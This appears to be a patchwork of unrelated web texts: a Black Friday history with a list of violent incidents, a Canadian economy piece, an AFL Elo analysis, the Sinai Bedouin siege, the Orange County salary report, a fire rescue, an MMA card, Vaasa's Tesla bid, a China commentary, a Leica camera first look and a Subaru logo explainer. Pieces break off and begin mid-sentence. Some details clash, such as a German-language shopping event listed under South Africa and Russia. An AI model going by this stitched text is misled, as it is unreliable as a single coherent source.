In South Africa, Russia, Austria and Switzerland, Black Friday Sale is a joint sales initiative by hundreds of online vendors—among them Zalando, Disney Store, Galeria Kaufhof and Sony. Over its first 24-hour run on November 28, 2013, more than 1.2 million people visited the site, making it the single largest online shopping event in German-speaking countries. There has been growing interest for black Friday in Poland as well.
2014 marked the introduction in Bolivia,[87] Colombia, Denmark, Italy, Finland, France,[88] Ireland,[89] Lebanon, Nigeria, South Africa and Sweden.[90]
For Middle East, UAE Black Friday started as White Friday campaign in 2014.
In 2015 Spain joined with some small retailers. The celebration became more famous year by year, until the big retailers grew.
In the Netherlands Black Friday was seriously introduced in 2015. Some years before there were already a number of large and small retailers that used Black Friday in their marketing. However, with a total of 35 participating stores, 2015 can be considered the year in which Black Friday started in the Netherlands due to more widespread support of large retailers. The popularity of Black Friday has grown rapidly in the Netherlands. The number of participating stores has increased to over 125 during the Black Friday period of 2017. For the 2018 edition, 166 shops joined the largest black friday platform in the Netherlands. [91]
In 2016 Black Friday was introduced in Poland, Greece and Ukraine.[92]
Black Friday in Belgium is seriously marketed by retailers since 2016. Especially online shops have broke sales records during the last edition of Black Friday, which provides a base for further growth of popularity of Black Friday in Belgium. After 2016, Black Friday in Belgium has grown strongly. The participating shops have increased to over 70 during the Black Friday period of 2017. During Black Friday 2018 a total of 119 participating stores were measured in Belgium. [93]
In 2017 Black Friday became widely popular in Latvia. There was even a Black week and Black weekend sales in shopping centres.
Black Friday has been increasingly adopted by stores in Brazil since 2010,[94] although not without its share of inflated prices and other scams, especially in its earlier years, earning the nickname "Black Fraude"[95] (Black Fraud) or also "Black Furadei", which comes from the slang word "furada", meaning a "jam" or tough situation, usually involving money. It is also common to hear Brazilian people say that prices on Brazilian Black Friday are "half of the double". However, currently, the term "Black Friday" has become so popular in the country that stores have been under closer scrutiny from consumers and cases of known scams have been reduced greatly.
Violence and chaos [ edit ]
Despite frequent attempts to control the crowds of shoppers, minor injuries are common among the crowds, usually as a result of being pushed or thrown to the ground in small stampedes. While most injuries remain minor, serious injuries and even deliberate violence have taken place on some Black Fridays.
2008 [ edit ]
In 2008, a crowd of approximately 2,000 shoppers in Valley Stream, New York, waited outside for the 5:00am opening of the local Wal-Mart. As opening time approached, the crowd grew anxious and when the doors were opened, the crowd pushed forward, breaking the door down, and a 34-year-old employee was trampled to death. The shoppers did not appear concerned with the victim's fate, expressing refusal to halt their stampede when other employees attempted to intervene and help the injured employee, complaining that they had been waiting in the cold and were not willing to wait any longer. Shoppers had begun assembling as early as 9:00 PM the evening before. Even when police arrived and attempted to render aid to the injured man, shoppers continued to pour in, shoving and pushing the officers as they made their way into the store. Several other people incurred minor injuries, including a pregnant woman who had to be taken to the hospital.[96][97][98] The incident may be the first case of a death occurring during Black Friday sales; according to the National Retail Federation, "We are not aware of any other circumstances where a retail employee has died working on the day after Thanksgiving."[96]
On the same day, two people were fatally shot during an altercation at a Toys 'R' Us in Palm Desert, California.[99]
2010 [ edit ]
During Black Friday 2010, a Madison, Wisconsin woman was arrested outside of a Toys 'R' Us store after cutting in line, and threatening to shoot other shoppers who tried to object.[100]
A Toys for Tots volunteer in Georgia was stabbed by a shoplifter.[101]
An Indianapolis woman was arrested after causing a disturbance by arguing with other Wal-Mart shoppers. She had been asked to leave the store, but refused.[102]
A man was arrested at a Florida Wal-Mart on drug and weapons charges after other shoppers waiting in line for the store to open noticed that he was carrying a handgun and reported the matter to police. He was discovered to also be carrying two knives and a pepper spray grenade.[103]
A man in Buffalo, New York, was trampled when doors opened at a Target store and unruly shoppers rushed in, in an episode reminiscent of the deadly 2008 Wal-Mart stampede.[104]
2011 [ edit ]
On Black Friday 2011, a woman at a Porter Ranch, California Walmart used pepper spray on fellow shoppers, causing minor injuries to a reported 20 people who had been waiting hours for the store to open. The incident started as people waited in line for the newly discounted Xbox 360. A witness said a woman with two children in tow became upset with the way people were pushing in line. The witness said she pulled out pepper spray and sprayed the other people in line. Another account stated: "The store had brought out a crate of discounted Xbox 360s, and a crowd had formed to wait for the unwrapping, when the woman began spraying people 'in order to get an advantage,' according to the police.[105]
In an incident outside a Walmart store in San Leandro, California, one man was wounded after being shot following Black Friday shopping at about 1:45 am.[106]
A 61 year old pharmacist collapsed and was left for dead by shoppers while being trampled and passed by a stampede. He died soon after from his injuries.[107]
2012 [ edit ]
On Black Friday 2012, two people were shot outside a Wal-Mart in Tallahassee, Florida, during a dispute over a parking space.[108]
2013 [ edit ]
On Black Friday in 2013, a person in Las Vegas who was carrying a big-screen TV home from a Target store on Thanksgiving was shot in the leg as he tried to wrestle the item back from a robber who had just stolen it from him at gunpoint.[109]
In Romeoville IL, a police officer shot a suspected shoplifter driving a car that was dragging a fellow officer at a Kohl's department store. The suspect and the dragged officer were treated for shoulder injuries. Three people were arrested.[110]
2016 [ edit ]
In 2016, 21-year-old Demond Cottman was shot and killed around 1 a.m. Friday morning outside a Macy's store in New Jersey. The shooter fired multiple shots, leaving an SUV covered in bullet holes, but the motives remain unclear. Cottman's 26-year-old brother was also injured.[111]
A shooting at the Wolfchase Galleria Mall in Memphis, Tennessee, left one man injured. Derrick Blackburn, 19, was later arrested for unlawful possession of a weapon.[112]
2018 [ edit ]
At the Riverchase Galleria in Hoover, Alabama, Emantic Fitzgerald Bradford Jr., was shot and killed by a security guard after 2 people were wounded in a shooting.[113] On Saturday the police announced that the shooter was not Bradford, but he was involved in the shooting.[114][115]
Online [ edit ]
High traffic challenges for retailers [ edit ]
Some online stores invest a lot of money in promotional campaigns to generate more sales and drive traffic to their stores. However, they often forget about the high loads their sites are going to experience. According to Retail Gazette, "A number of major retailers' websites went down as they failed to cope with the surge in Black Friday traffic in 2017...This just highlights that some retailers have not taken the necessary steps to prepare for Black Friday. Failing to prepare for peak can cause poor performance, site downtime, and ultimately lost revenue for retailers".[116] Such carelessness results in huge reputational demage. Moreover, The 2017 Veeam Availability Report shows that "Unplanned downtime costs organisations around the world an average of R270m annually, up from the R210m of the previous year".[117]
Advertising tip sites [ edit ]
Some websites offer information about day-after-Thanksgiving specials up to a month in advance. The text listings of items and prices are usually accompanied by pictures of the actual ad circulars. These are either leaked by insiders or intentionally released by large retailers to give consumers insight and allow them time to plan.
In recent years, some retailers (including Walmart, Target, OfficeMax, Big Lots, and Staples) have claimed that the advertisements they send in advance of Black Friday and the prices included in those advertisements are copyrighted and are trade secrets.[118]
Some of these retailers have used the take-down system of the Digital Millennium Copyright Act as a means to remove the offending price listings. This policy may come from the fear that competitors will slash prices, and shoppers may comparison shop. The actual validity of the claim that prices form a protected work of authorship is uncertain as the prices themselves (though not the advertisements) might be considered a fact in which case they would not receive the same level of protection as a copyrighted work.[119][original research?]
The benefit of threatening Internet sites with a DMCA based lawsuit has proved tenuous at best. While some sites have complied with the requests, others have either ignored the threats or simply continued to post the information under the name of a similar-sounding fictional retailer. However, careful timing may mitigate the take-down notice. An Internet service provider in 2003 brought suit against Best Buy, Kohl's, and Target Corporation, arguing that the take-down notice provisions of the DMCA are unconstitutional. The court dismissed the case, ruling that only the third-party posters of the advertisements, and not the ISP itself, would have standing to sue the retailers.[120]
Usage of Black Friday Advertising Tip sites and buying direct varies by state in the U.S., influenced in large part by differences in shipping costs and whether a state has a sales tax. However, in recent years, the convenience of online shopping has increased the number of cross-border shoppers seeking bargains from outside of the U.S., especially from Canada. Statistics Canada indicates that online cross-border shopping by Canadians has increased by about 300M a year since 2002.[121] The complex nature of additional fees such as taxes, duties and brokerage can make calculating the final cost of cross-border Black Friday deals difficult. Cross-border shopping solutions exist to mitigate the problem through estimation of the various cost involved.
Cyber Monday [ edit ]
The term Cyber Monday, a neologism invented in 2005 by the National Retail Federation's division Shop.org,[122] refers to the Monday immediately following Black Friday based on a trend that retailers began to recognize in 2003 and 2004. Retailers noticed that many consumers, who were too busy to shop over the Thanksgiving weekend or did not find what they were looking for, shopped for bargains online that Monday from home or work. In 2010, Hitwise reported that:[123]
Thanksgiving weekend offered a strong start, especially as Black Friday sales continued to grow in popularity. For the 2nd consecutive year, Black Friday was the highest day for retail traffic during the holiday season, followed by Thanksgiving and Cyber Monday. The highest year-over-year increases in visits took place on Cyber Monday and Black Friday with growth of 16% and 13%, respectively.
In 2013, Cyber Monday online sales grew by 18% over the previous year, hitting a record $1.73 billion, with an average order value of $128.[124] In 2014, Cyber Monday was the busiest day of the year with sales exceeding $2 billion in desktop online spending, up 17% from the previous year.[125]
Cyber Week [ edit ]
As reported in the Forbes "Entrepreneurs" column on December 3, 2013: "Cyber Monday, the online counterpart to Black Friday, has been gaining unprecedented popularity—to the point where Cyber Sales are continuing on throughout the week."[126] Peter Greenberg, Travel Editor for CBS News, further advises: "If you want a real deal on Black Friday, stay away from the mall. Black Friday and Cyber Monday are all part of Cyber Week..."[127]
Retail sales impact [ edit ]
The National Retail |
this country,” Porter added. “Even modest growth will get us there over the next year. So, it’s true that it’s slowing but it’s slowing after a remarkedly good year.”
The country’s jobless rate was hovering around 5.9 per cent in November — the most recent data available and the lowest reading since February 2008, according to Statistics Canada — as overall employment rose for a second consecutive month, adding 80,000 positions.
But there are dark clouds that could dampen Canada’s growth outlook.
“,” Porter said. “We are concerned that at the very least there could be some uncertainty due to the NAFTA negotiations. At the very least, that uncertainty will weigh a bit on growth. And there is the possibility of things going quite awry on that front.”
Another concern is the long and often frustrating negotiations following the referendum results of the June 23, 2016 vote that supported — but only barely — Britain’s exit from the European Union.
The Brexit issue has clouded the free-trade agreement ratified on Feb. 15 of this year between Canada and the EU, known as the Comprehensive Economic and Trade Agreement, or CETA.
“We think they will come to some kinds of arrangement,” said Porter.
“We suspect it’s going to be a soft Brexit. I don’t think the hard-line Brexiteers are going to be happy at the end of the day. It does look like they can sort things out on that front. The only question is what kind of trade deal the U.K. works out with Europe,” he said.
“For we, here in North America, I really don’t believe it’s a big deal.”After their dismal start to the year, the history books provided no solace to the early-season Swans, showing no team had ever climbed back to the finals from their position. But our Elo projections weren't quite so pessimistic. Even after going 0-4 to start the season, our simulations still gave them a healthy 42 percent chance of sticking around until September; by the time they were 0-6, deep in 'historically unprecedented' territory, Elo gave Sydney a 15 percent chance.
The Swans are only a game out of the top four, and the betting markets currently give them the second shortest premiership odds of any team in the competition, behind only the Crows. After having been down for the count, Sydney aren't just looking like scraping in to the finals, they are a genuine contender.
So what has changed for Sydney since their terrible first month and a half? In short: most things. Their performance has improved in all parts of the ground.
In the opening six rounds of the season, the Swans were performing fairly poorly in the midfield, only managing to get the ball inside their attacking 50m arc 0.89 times for every time their opponents recorded an inside 50, on average. From Round 7 onwards, that ratio has turned around quite dramatically, with the Swans now averaging 1.2 inside 50s for every one they concede. They've gone from the fifth-worst inside 50 ratio in the competition early in the season, to the second best ratio (behind Port Adelaide) from Round 7 onwards. Their midfield is firing again.
The Swans have become more effective at using the ball when it gets into their 50m arc as well, recording 0.51 scoring shots for every inside 50 since Round 7, compared to just 0.42 in the opening rounds of the season. At the defensive end of the ground, they've tightened up considerably, restricting their opponents to just 0.4 scoring shots for every inside 50, on average. The Swans have improved in all parts of the ground.
The Swans' turnaround has been broadly based, but their performance at the contest really stands out. In those first winless six games of the year, the Swans were averaging 2.8 clearances less than their opponents, and a massive 11.3 fewer contested possessions. Those figures have turned around dramatically.
In that early part of the season, their average net contested possessions per game was the equal second worst in the league, tied with the Lions and only above the then-woeful Hawks. From Round 7, Sydney's average net contested possession count of 13.8 per game has been easily the best in the competition, with Port Adelaide in second place on an average of 8.5 net contested possessions per game.
Even after losing their first six games of the year, the Elo ratings system still regarded the Swans as an above-average team. They had a rating of 1522, compared to a league average of 1500. Since then, they've bounced back firmly into 'genuine contender' territory, and are now rated 1625, just behind the league-leading Crows.
The Swans are now about as good as they were this time last year, when they were many people's picks for the flag. They're right back in it for 2017, and if they do end up winning it all, it'll be a premiership journey for the ages.Image caption Bedouin tribes in the Sinai have longstanding grievances with central government
Armed Bedouin demonstrators in Egypt's Sinai peninsula have lifted their siege of a base used by foreign peacekeepers, Bedouin and security sources say.
The Bedouin, who surrounded the camp belonging to the Multinational Force and Observers (MFO), reportedly reached an understanding with the authorities.
Officials have been given a month to release several jailed tribesmen, some of them convicted of terrorism charges.
The protest outside the MFO's North Camp at al-Gorah began eight days ago.
On Thursday, the mission confirmed that road access to the site had been blocked by Bedouin and that helicopters were being used to provide transportation, but stressed that all MFO personnel were "safe".
The Bedouin had "no complaints against the MFO" but believed that by targeting the MFO's base they would "bring a more rapid response from Cairo authorities to their demands", a statement said.
The MFO is an independent force formed to monitor the borders between Egypt and Israel following the 1979 peace accord. It consists of military staff from 12 countries including the US and France.
Restive region
On Friday afternoon, Egyptian security sources said the Bedouin had agreed to lift their siege following negotiations with the Egyptian army.
The authorities had been given until 16 April to release several jailed, they added. A committee will reportedly examine their demands.
There was no immediate comment from the MFO on the end of the siege.
Sinai Bedouin routinely complain of unfair treatment and neglect by Egypt's government. They regularly press their demands by staging protests and blocking roads. Occasionally they take tourists hostage.
Such incidents have increased in frequency since the overthrow of the former President Hosni Mubarak last year.
The imprisonment of Bedouin arrested in the aftermath of the Red Sea attacks is a longstanding grievance.
Bombings took place at tourist locations in Taba in 2004, at Sharm el-Sheikh in 2005 and Dahab in 2006. A total of 130 people were killed.
Thousands of Bedouin were arrested by the Egyptian authorities after the bombings. Hundreds remain imprisoned without trial.
Egypt's interim government recently announced that death sentences issued to three men convicted of involvement in the bombings had been overturned after their trials were deemed unfair.Fallout from report on O.C. city officials' salaries still rankles
Campaign-related research by two Brandman University grad students touched off a saga that shook Orange County and their school.
The students' work took on greater significance two months later when the Bell scandal erupted, revealing the high salaries of city officials there. The state followed by finding out the salaries of all top municipal officials in California and posting them on the Internet.
"I gave them an award because what they did was ethical, valid and honest," Orange County Supervisor Shawn Nelson said. "Anybody that would question whether that was a righteous thing to do, that would immediately put up a red flag that I should be worried about them."
Cindy Smith and Janet Voshall testified before the state Legislature, were honored by the county board of supervisors and rode limousines to TV news shows.
When a pair of graduate students from little-known Brandman University dug out the salaries of top administrators at all 34 cities in Orange County and made them public, they were showered with praise.
But then the gold turned to lead.
Smith and Voshall said the fallout from their work so rankled public officials that they had to move out of the county to find work, and their academic advisor, a 30-year political science professor, resigned his post in protest.
Fred Smoller, who founded the master's program in public administration at Brandman, accused college leaders of buckling to pressure from conservative local politicians and trampling academic freedom.
"The resignation was the only way I could draw attention to the backdoor politicking that threatened the independence and academic integrity of the MPA program," Smoller said.
Now, as a new semester begins, Smoller is back at Brandman's sister school, Chapman University, and says the public administration program he hoped would add an edge to public accountability in Orange County has been neutered.
"The good old boys club is well and lives on," said Smith, a 47-year-old mother of five. "I didn't really think that was the case, but it still is."
Smith and Voshall were enlisted as interns to compile the salaries in 2010 when Laguna Hills City Council candidate Barbara Kogerman was trying to figure out how much her city manager was making and how that stacked up against others in the county.
When Kogerman, a longtime Republican, released the report in May 2010, it backed up her suspicions: Bruce Channing of Laguna Hills was the highest-paid city manager in the county. The city, with a population of about 34,000, was giving him compensation of more than $460,000, according to the report. A story about the survey landed in the Orange County Register.
Channing insisted that Kogerman's crew had exaggerated, and figures later posted on the state controller's website placed his compensation at $380,054. Still, a grand jury report later agreed that Channing was the highest-paid city manager in the county and said his compensation "exceeds levels in other comparably sized cities both inside and outside of Orange County."
The day Kogerman's report was released, Smoller said, an angry Channing demanded to meet with the students and wanted their email addresses and phone numbers.RESEDA (CBSLA.com) — A man rescued an 18-year-old woman who was trapped inside a burning Reseda home on Thursday.
The incident happened around 12:45 p.m. at a one-story, single-family home in the 17000 block of Vanowen Street, according to Battalion Chief Stephen Ruda of the Los Angeles Fire Department.
Edwin Hernandez told KCAL9’s Adrianna Weingold that he heard screaming and saw flames, broke a window with his bare hands and dragged his neighbor to safety.
“I just saw the fire and ran over there. And she was banging on the window, and I got her out,” he said. “It was pretty hot. There was fire coming out of the windows and stuff. I hurt my hands in the process of getting her out, but that’s all right. I just got some cuts…better than the person dying.”
Two off-duty law enforcement officers also helped with the rescue.
Firefighters and animal control officers saved a litter of cats from the residence.
About 75 firefighters extinguished the blaze in more than an hour.
Fire officials said the home was so packed with stuff that the woman couldn’t find her way out.
“Inside the home, once again, packed conditions make it very difficult for rescues, make it very difficult for homeowners to get out of their own home,” Ruda said.
The victim is being treated at a hospital for smoke inhalation, burns and cuts from broken glass.
A firefighter, who suffered minor burns to a hand, and a 54-year-old woman, who suffered minor smoke inhalation, were also hospitalized.
(©2014 CBS Local Media, a division of CBS Radio Inc. All Rights Reserved. This material may not be published, broadcast, rewritten, or redistributed. Wire services contributed to this report.)The main event is set for next month’s RFA 22 event, and the welterweight title will be on the line.
Chidi Njokuani (11-4) will meet Gilbert Smith (10-3) for the vacant 170-pound belt in the headliner, promotion officials have announced.
RFA 22 takes place Jan. 9 at Broadmoor World Arena in Colorado Springs, Colo. The main card will air live on AXS TV (10 p.m. ET). Tickets are available now via TicketsWest.com starting at $26.
The Las Vegas-based Njokuani, brother of former UFC and WEC fighter Anthony Njokuani, will fight for the sixth time under the RFA banner, where he has yet to lose at his natural welterweight class. Njokuani has been working with former UFC title challenger Jon Fitch and has is unbeaten in his past three bouts (with a no-contest) and has won six of his past seven, officially.
“Fighting for a world title on national television is what I’ve always wanted,” Njokuani stated. “Training full-time with Jon Fitch has been cool. We are the exact opposite. He’s that style of fighter that has always given me problems. It’s perfect for me to be working with a top 10 welterweight that has fought for the UFC title. It makes me realize I can reach my dreams.
“Gilbert is a cool dude outside of the cage. It will be great to fight someone like him who has been to the UFC. I know it will be a tough fight, but Fitch is the perfect training partner for him and I will be ready.”
It will be a home fight for Smith – he’s a longtime Colorado Springs resident, as well as a U.S. Army veteran. Smith fought on Season 17 of “The Ultimate Fighter” and had one UFC fight after the show. But he was submitted by Robert McDaniel at the TUF 17 Finale in April 2013. Since that setback, he has won five of six fights, including a win over Bojan Velickovic in his promotional debut at RFA 20 in November.
“Obviously, fighting for the RFA title is a huge opportunity,” Smith stated. “It’s the proving grounds and best place to showcase your skills. The venue is also a 10-minute run from my house, so it will be great to fight in front of all of my friends and family.”
In the co-main event, Mark Dickman (9-2) returns after a failed bid for RFA’s featherweight title in August and will meet Bellator and ONE FC veteran Donald Sanchez (30-14).
Also on the card, Bellator veteran Ricky Musgrave (13-4) meets UFC vet Alvin Robinson (14-8) at featherweight; Prentice Ingram (9-4) takes on Landon Vannata (6-0) at featherweight; and Joey Eisenbraun (3-1) meets Kevin Gray (3-1) at flyweight.
Additional bouts will be added to the card soon.
The latest RFA 22 card includes:
Chidi Njokuani vs. Gilbert Smith – for vacant welterweight title
Mark Dickman vs. Donald Sanchez
Ricky Musgrave vs. Alvin Robinson
Prentice Ingram vs. Landon Vannata
Joey Eisenbraun vs. Kevin Gray
For more on RFA 22, check out the UFC Rumors section of the site.The City of Vaasa, on the Western coast of Finland, has announced it is preparing a proposal for the Tesla Gigafactory.
Tesla Motor’s first Gigafactory producing lithium-ion batteries opened in Nevada, USA in July 2016. This factory will ultimately also build Tesla electric vehicles. Three weeks ago Tesla announced their intention to build their next Gigafactory in Europe.
The advantage of Vaasa as a location is that it is the most important energy technology centre in the Nordic countries. Kaustinen, which lies nearby, has the biggest lithium deposits in Europe. Lithium carbonate is the key ingredient in lithium-ion batteries.
This combination of knowledge of energy technology and supply of the raw materials for battery production is unique in the world.
The Vaasa energy cluster is already world class: out of the 140 companies in the region, many are global market leaders within their fields. Their combined turnover is €4.4 billion. By itself, the cluster accounts for almost a third of Finland’s technology exports.
The Vaasa energy cluster shares a mutual vision with Tesla Motors - to accelerate the world’s transition to sustainable energy.
“Vaasa has the perfect qualifications to work as Tesla’s partner, and to be the optimal location of the Gigafactory in Europe”, says the Mayor of Vaasa, Tomas Häyry.
“We need visionary and ambitious goals that motivate all who can make a contribution. This is a project that builds Vaasa’s future for several generations to come,” Häyry continues.
The upcoming Minister of Economic Affairs supports a Gigafactory in Vaasa
The upcoming minister of Economic Affairs, Member of Parliament, Mika Lintilä, supports the project in Vaasa. He says that it shows just the kind of courage and entrepreneurship that is needed more widely in Finland at the moment.
“This is a good opportunity for the whole of Finland; I am very excited about this vision and will support the project as much as possible”, says Lintilä.
To support the Gigafactory project, Vaasa is gathering a coalition of recognised experts from core engineering disciplines, plus logistics, economics, project leadership as well as international communications.
The first assessment, a more specific process and plan description, will be published during the first quarter of 2017.
“We will begin work immediately; apart from being a project for Vaasa and the Vaasa region, it is also a project for the whole of Finland,” says Häyry.
The first Tesla Gigafactory is one of the biggest structures in the world. When complete, its size will be close to one million square metres. The annual capacity of battery production at the factory is 35 gigawatt hours (one GWh equals one million kWh). The construction cost of the factory is $5 billion, and the long-term benefits for Nevada State have been calculated at $100 billion. Comparable factories are also planned by other automotive manufacturers.
www.gigafactory.fi
www.energyvaasa.fiPepe Escobar is an independent geopolitical analyst. He writes for RT, Sputnik and TomDispatch, and is a frequent contributor to websites and radio and TV shows ranging from the US to East Asia. He is the former roving correspondent for Asia Times Online. Born in Brazil, he's been a foreign correspondent since 1985, and has lived in London, Paris, Milan, Los Angeles, Washington, Bangkok and Hong Kong. Even before 9/11 he specialized in covering the arc from the Middle East to Central and East Asia, with an emphasis on Big Power geopolitics and energy wars. He is the author of "Globalistan" (2007), "Red Zone Blues" (2007), "Obama does Globalistan" (2009) and "Empire of Chaos" (2014), all published by Nimble Books. His latest book is "2030", also by Nimble Books, out in December 2015.
The world’s leading economy is on a roll as it enters a new year in the Chinese zodiac. Welcome to the Year of the Sheep. Or Goat. Or Ram. Or, technically, the Green Wooden Sheep (or Goat).
Even the best Chinese linguists can’t agree on how to translate it into English. Who cares?
The hyper-connected average Chinese – juggling among his five smart devices (smartphones, tablets, e-readers) – is bravely advancing a real commercial revolution. In China (and the rest of Asia) online transactions are now worth twice the combined value of transactions in the US and Europe.
As for the Middle Kingdom as a whole, it has ventured much further than the initial proposition of producing cheap goods and selling them to the rest of the planet, virtually dictating the global supply chain.
Now Made in China is going global. No less than 87 Chinese enterprises are among the Fortune Global 500 – their global business booming as they take stakes in an array of overseas assets.
Transatlantic trade? That’s the past. The wave of the future is Trans-Pacific trade as Asia boasts 15 of the world’s top twenty container ports (with China in pride of place with Shanghai, Hong Kong, Shenzhen, Guangzhou).
Sorry, Britannia, but it’s Asia – and particularly China – who now rule the waves. What a graphic contrast with the past 500 years since the first European trading ships arrived in eastern shores in the early 16th century.
Then there’s the spectacular rise of inland China. These provinces have a huge population of at least 720 million people and a GDP worth at least $3.6 trillion. As Ben Simpferdorfer detailed in his delightful The Rise of the New East (Palgrave MacMillan), “over 200 major Chinese cities with populations greater than 750,000 lay some 150 miles inland from the coast. In effect, we are observing the rise of the world’s largest landlocked economy, and that will change the way China looks at the world. From Guangzhou’s factories to Shanghai’s bankers, all are starting to look inward, not outward.”
This new way China looks at the world – and at itself - certainly has not registered in the way the world, especially the West, looks at China. In the West, the spin is always about China’s economy slowing down and bubbles about the burst. The real story is how China will develop and modernize its mid-and-large sized cities with populations larger than 750,000. China concentrating on itself is now as important as China spreading its tentacles across the world.
This is what’s at the heart of Beijing’s breathless “urbanization drive.”
During the 1990s, the imperative was massive investment in manufacturing. During the 2000s, the buzzword was massive investments in infrastructure - and a property boom. Now China is tweaking its model – from large-scale economic restructuring to absolutely necessary improvement of political governance.
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Geopolitically, China has also tweaked its model, but the West, especially the US, has barely noticed it.
Essentially, the Beijing leadership finally got fed up with trying to manage a possible reset of the China-US strategic relationship, and be treated as an equal. Exceptionalists don’t do equality. So Beijing came up with its own response to the Obama administration’s political/military “pivot to Asia” – originally announced, and that’s quite significant, at the Pentagon.
Thus, in late November 2014, during the Central Foreign Affairs Work Conference in Beijing, President Xi Jinping made an earth-shattering announcement; from now on China would stop treating the US – and the EU – as its main strategic priority. The new focus is on the fellow BRICS group of emerging powers, especially Russia; Asian neighbors; and top nations of the Global South, referred to as “major developing powers” (kuoda fazhanzhong de guojia).
This is not as much a Chinese pivot to Asia as a Chinese pivot to selected nations in the Global South. And based on a “new type of international relations centered on ‘win-win’ cooperation” – not the bully-or-bomb exceptionalist approach.
Key advisors of this policy should include Professor Yan Xuetong, Dean of the Institute of Modern International Relations at Tsinghua University, and very close to the Chinese Communist Party (CCP) intelligentsia.
China’s new foreign policy and strategic configuration is all the more evident in the courting of Asian neighbors, invited to embark on China’s extremely ambitious twin strategy and the greatest trade/commerce story of the young 21st century: the Silk Road Economic Belt and the 21st Century Maritime Silk Road, in short “Belt and Road initiative,” as it’s known in China, now officially launched with the first $40 billion attributed to a Silk Road Fund.
The enormity of the challenge is on a par with Beijing’s ambition: a pan-Eurasia trade/commerce utopia weaved by high-speed rail, fiber optic networks, ports and pipelines, and connecting East Asia, Central Asia, Russia, the Middle East and Europe.
Of course there will be myriad problems. As in the Chinese commercial push clashing with foreign interests; China having to learn on the go how to manage different cultural sensibilities; and how to coordinate a sort of global trade campaign capable of creating myriad of political and economic effects. The Chinese are already worried about finding the right terminology - so the Chinese dream, internally and globally, won't be lost in translation.
Plenty to be excited about then as the Year of the Sheep (or Goat) starts. What’s certain is that the Chinese caravan, much in contrast with the dogs of war - and austerity – pivoting across the West, has already pivoted towards “win-win” pan-Eurasia integration.
Pepe Escobar’s latest book is Empire of Chaos. Follow him on Facebook.
The statements, views and opinions expressed in this column are solely those of the author and do not necessarily represent those of RT.Leica M (Type 240) Video Overview – Very 1st look, Menu System, Shutter sound and more
As promised! My very 1st look at the Leica M Type 240! The video below is indeed the very 1st time I have touched the new M camera. You will experience the 1st look with me. In the video I show the unboxing, the menu system, and the shutter sound. I also share my very 1st early thoughts after shooting a few frames with the camera. I have not been out of my house with the camera and as I type this the massive battery is on the charger getting juiced up. Most have been asking me to do M9 vs M240 comparisons. I WILL do this, but later on. First I have to get to know the new M as it is a little different than the M9 in it’s settings and image quality rendering. I will be doing the whole range of comparisons and even some with the RX1. BUT I can state right now that the Leica M is a Leica. It does not feel like a new system or too complicated. While it is not as simple minded as the old M8 and M9 it feels…mature in the way the menu is set up and presented. The LCD no longer looks like it came from the 90’s and is gorgeous. I will have SO MUCH more to say in my review but patience my fellow camera geeks..I will have to shoot this camera before I review it. 🙂
Watch the video below and I go over the unboxing, menu system, and the shutter sound. More videos with more details will follow soon…
So far after just a few test shots outside and inside I have found the AWB to be improved, the shutter is sooo much nicer (no grit and it has a thump quality, very nice – see video) than the M9 and the electronic framelines are taken from the M9 Titanium and I welcome them. I have had ZERO issues using a basic Sony 32 GB SD card. So in the 1st few hours it has been bug free, as any camera should be. The RF may be a teeny bit off as the focus is not dialing in like it did on my old M9-P, unless that is some of the crispness I am missing.
What I am seeing is that the new M files are a bit smoother than the M9 and I remember saying that about the M9 coming from the M8. The M8 had a super crispness and film like rendering and the M9 lost some of that but still had incredible file quality at lower ISO. The new M has pushed it a little more into smoothland but the heart of ANY Leica is the lenses and when you use some of the best like the 50 Lux ASPH, 35 Lux ASPH FLE and 90 Cron APO you will get the Leica look regardless as it has not been lost in CMOS. It appears the files are rich, hardy and have more DR than the M9. But this is just VERY early thoughts and in no way final so be sure to check back for my review and photos to see where I stand in a couple of weeks.
Yes my friends, Stay tuned for much much more on the new M 240 including some REAL photos instead of silly test snaps. 🙂
BTW, if you are one of the jealous, bitter, and angry individuals that are upset that I received an M before you..get over it. No need to go cry to forums about it 🙂 I was on the pre-order list on day 1 with Ken Hansen ([email protected])
One quick backyard test snap (remember, I have had this new M in my possession for 3 hours and it took 2 to charge the battery) – click it for larger view and 100% crop
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Quick test snap of my bastard cat at 1.4 – click for larger
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Using live view on the LCD to focus..worked great and was easy to dial it in and more accurate than using the RF – click fort larger
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50 1.4 at 1.4
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50 1.4 at 1.4
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3D POP test
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click for larger!
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Quick ISO 6400 test shot in my office at night – click image for full size OOC file
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ISO 500, 1.4Friday, 13 July, 2012
How did Subaru come up with their logo? What does the Subaru emblem mean?
answers these questions about the Subaru logo below: Stanley Subaru answers these questions about the Subaru logo below:
Subaru is the automobile manufacturing division of Japanese transportation conglomerate FujiHeavy Industries (FHI).
Subaru is internationally known for their use of the Boxer engine layout similar to those in cars like the Volkswagen Beetle and Porche 911, in most of their vehicles above 1500 cc as well as their use of the all wheel drive drive-train layout, the 4x4 first introduced in 1972, and the AWD became standard equipment for mid-size and smaller cars in most international markets as of 1996, and is now standard in all US market Subaru vehicles. The lone exception is the BRZ introduced in 2012, utilizing RWD. They also offer many turbocharged versions of their passenger cars, such as the Impreza WRX.
Subaru 1500, top; 1958 Subaru 360.
FujiHeavy Industries, the parent company of Subaru, is currently in a partial partnership with ToyotaMotor Corporation, which owns 16.5% of FHI.
Subaru is the Japanese name for the Pleiades star cluster, which in turn inspires the Subaru logo and alludes to the five companies that merged to create FHI. The word "subaru" means "united" in Japanese, and Fuji Heavy Industries has used the term to describe how the Pleiades constellation is a unification of the stars. Fuji Heavy Industries is therefore a constellation of companies united together.
In astronomy, the Pleiades, or Seven Sisters (Messier Object 45, or M45), is an open star cluster containing middle-aged hot B-Type stars located in the constellation of Taurus. It is among the nearest star clusters to Earth and is the cluster most obvious to the naked eye in the night sky. Pleiades has several meanings in different cultures and traditions.
The cluster is dominated by hot blue and extremely luminous stars that have formed within the last 100 million years. Dust that forms a faint reflection nebula around the brightest stars was thought at first to be left over from the formation of the cluster (hence the alternate name Maia Nebula after the star Maia), but is now known to be an unrelated dust cloud in the interstellar medium that the stars are currently passing through. Astronomers estimate that the cluster will survive for about another 250 million years, after which it will disperse due to gravitational interactions with its galactic neighborhood.
